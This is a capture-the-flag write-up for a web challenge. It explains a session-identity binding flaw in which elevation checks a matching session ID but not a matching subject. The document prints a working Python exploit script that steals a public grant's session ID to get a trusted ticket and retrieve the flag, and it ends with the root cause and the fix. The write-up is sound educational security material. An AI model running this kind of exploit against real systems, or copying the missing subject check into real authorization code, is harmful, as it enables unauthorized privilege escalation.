Web Exploitation / Pinaka CTF 2026
Sharanagati Gateway: Session Identity Unbinding
Reuse a public grant’s session ID to expose an elevation check that binds sessions but fails to bind the recipient identity.
Result
PINAKA{vibhishana_sharanagati_session_bound_identity_unbound}
Vulnerability
The gateway issues provisional session tickets to newcomers, allowing them to choose a session ID (sid). A public Council grant for Sugriva contains its own sid. During elevation, the gateway verifies both signatures and requires ticket.sid == grant.sid, but does not require ticket.sub == grant.sub. It then issues a trusted ticket for the ticket's subject using the grant's scope.
Consequently, Vibhishana can claim the session ID from Sugriva's public grant in a provisional oath and use that grant to obtain a trusted ticket for himself, despite having no Council grant.
Exploit
- Fetch
GET /gateway/rosterand take Sugriva's publicgrant. - Decode the first, base64url-encoded segment of the grant and read its
sid(7a57ebc8dd3a0ace58381452). The token payload is authenticated, but not encrypted. - Request
POST /oath/swearwith{"name":"vibhishana","sid":"7a57ebc8dd3a0ace58381452"}. This returns a gateway-signed provisional ticket for Vibhishana. - Submit that ticket and Sugriva's grant to
POST /refuge/elevate. The gateway returns a trusted ticket whosesubisvibhishanaand whosescopeiscamp:inner. - Submit the trusted ticket to
POST /refuge/sanctumto receive the flag.
The following script reproduces the flow without hardcoding either token:
import base64
import json
import urllib.request
BASE = "http://130.210.48.10:9009"
def request(path, payload=None):
data = None if payload is None else json.dumps(payload).encode()
req = urllib.request.Request(
BASE + path,
data=data,
headers={"Content-Type": "application/json"} if data else {},
)
with urllib.request.urlopen(req) as response:
return json.load(response)
roster = request("/gateway/roster")
grant = roster["grants_on_record"][0]["grant"]
encoded_payload = grant.split(".", 1)[0]
padding = "=" * (-len(encoded_payload) % 4)
sid = json.loads(base64.urlsafe_b64decode(encoded_payload + padding))["sid"]
provisional = request("/oath/swear", {"name": "vibhishana", "sid": sid})["ticket"]
trusted = request("/refuge/elevate", {"ticket": provisional, "grant": grant})["ticket"]
print(request("/refuge/sanctum", {"ticket": trusted}))The sanctum returned result: accepted, sub: vibhishana, and the flag above.
Root cause and fix
The elevation check binds the grant to a session ID but not to its named recipient. Require ticket.sub == grant.sub before issuing a trusted ticket. Since callers can choose sid when swearing an oath, the session ID alone cannot establish grant ownership.